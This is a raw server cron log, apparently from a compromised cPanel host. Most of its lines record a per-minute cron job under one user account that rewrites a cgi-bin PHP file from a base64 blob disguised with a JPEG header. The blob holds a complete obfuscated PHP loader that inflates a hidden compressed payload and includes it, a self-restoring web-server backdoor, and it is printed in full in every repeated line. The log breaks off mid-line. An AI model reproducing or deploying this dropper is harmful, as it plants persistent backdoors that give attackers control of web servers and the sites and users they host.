Nov  9 17:21:01 server CROND[23834]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:22:01 server CROND[24277]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:23:01 server CROND[25083]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:24:01 server CROND[25891]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:25:01 server CROND[26768]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 17:25:01 server CROND[26767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 17:25:01 server CROND[26769]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:26:01 server CROND[27627]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:27:01 server CROND[28430]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 17:27:01 server CROND[28431]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:28:01 server CROND[29236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:29:01 server CROND[30070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:30:01 server CROND[30914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 17:30:01 server CROND[30916]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 17:30:01 server CROND[30917]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 17:30:01 server CROND[30918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:31:02 server CROND[31974]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:32:01 server CROND[316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:33:01 server CROND[1121]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:34:01 server CROND[1938]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 